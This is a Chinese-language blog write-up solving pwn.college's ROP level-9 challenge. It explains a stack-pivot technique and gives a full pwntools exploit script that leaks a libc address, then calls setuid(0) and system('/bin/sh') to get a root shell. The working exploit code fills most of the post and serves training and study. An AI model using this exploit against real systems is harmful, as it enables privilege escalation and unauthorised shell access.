level-9

题目简介

需要我们用栈跃迁的方法去执行我们的ROP链

漏洞点分析

第一步依然是chekcsec,看到只开启了NX保护,说明要用ROP了

再用IDA逆向一下,看到在challenge函数中,会将输入存在0x4140E0的位置,并且只复制输入的前24个字节到缓冲区


从这里就可以看出来,想把完整的ROP链布置到栈上是不可能了,因此漏洞点在于将启动ROP链的少部分代码写在最前面,通过启动代码把rsp的指向转移到完整的ROP链上

漏洞点利用

首先依然是ROPgadget命令获取必要碎片的地址,一般是pop rdi等传参需要的,参考pwn.college题解:ROP-level-4

最后,参考串联梳理:Pwn-Exp中介绍的栈跃迁原理就可以写出下面的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
targetELF="/challenge/babyrop_level9.0"
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
offset=72 #9.0不需要了,直接拷贝到返回地址
context(os='linux', arch='x86_64',log_level='debug', terminal=['tmux', 'splitw', '-h'])


p = process(targetELF)
#p=gdb.debug(targetELF,"b *challenge+86")
elf=ELF(targetELF)
libc = ELF(libc_path)
rop = ROP(elf)

leave_addr=0x4016ab
pop_rbp_addr=0x40129d
pop_rdi_addr=0x401c33 #pop rdi ret的地址
ret =0x40101a #rop.find_gadget(['ret'])[0]
gotAddr=elf.got["puts"]
pltAddr=elf.plt["puts"]
startAddr=elf.symbols["_start"]
#pop rbp,然后rbp需要=0x4140e0,然后leave+ret,即将rbp的值赋给rsp,然后pop rbp,最后pop rip
#为什么填0x4140f0:首先payload会被写到4140e0,加上为了栈迁移写的24个字节,按道理应该+0x18,但还要减去8,因为leave指令最后会pop一次rbp,即rsp+1,rsp要往下退一个内存格子
#这里正好退到0x4140f8,再把这个地址pop到rip(通过ret指令实现)
addrLeakPayload =p64(pop_rbp_addr)+p64(0x4140f0)+p64(leave_addr)+p64(pop_rdi_addr)+p64(gotAddr)+p64(pltAddr)+p64(startAddr)
#addrLeakPayload = b'a'*offset + p64(pop_rdiAddr) + p64(gotAddr) +p64(ret)+p64(pltAddr) +p64(ret)+ p64(startAddr)

p.recv()
p.send(addrLeakPayload)
p.recvuntil("Leaving!\n")
realAddr=u64(p.recv(6).ljust(8,b'\x00'))

libcBase=realAddr-0x84420
#system函数绝对地址
sysAddr = libcBase + 0x52290 #libc.symbols['system']
#setuid函数绝对地址
setuidAddr = libcBase + 0xe4150 #libc.symbols['setuid']
#binsh字符串绝对地址
binshAddr = libcBase + 0x1b45bd #next(libc.search("/bin/sh"))

#log.info(hex(sysAddr))
#log.info(hex(binshAddr))

shellPayload=p64(pop_rbp_addr)+p64(0x4140f0)+p64(leave_addr)+ p64(pop_rdi_addr) + p64(0) + p64(setuidAddr) + p64(pop_rdi_addr) + p64(binshAddr) + p64(sysAddr)

p.recv()
p.send(shellPayload)
p.recv()

p.interactive()


level-9
http://0x4a-210.github.io/2025/07/20/pwn.college/Program-Securtity/ROP/level-9/
Posted on
July 20, 2025
Licensed under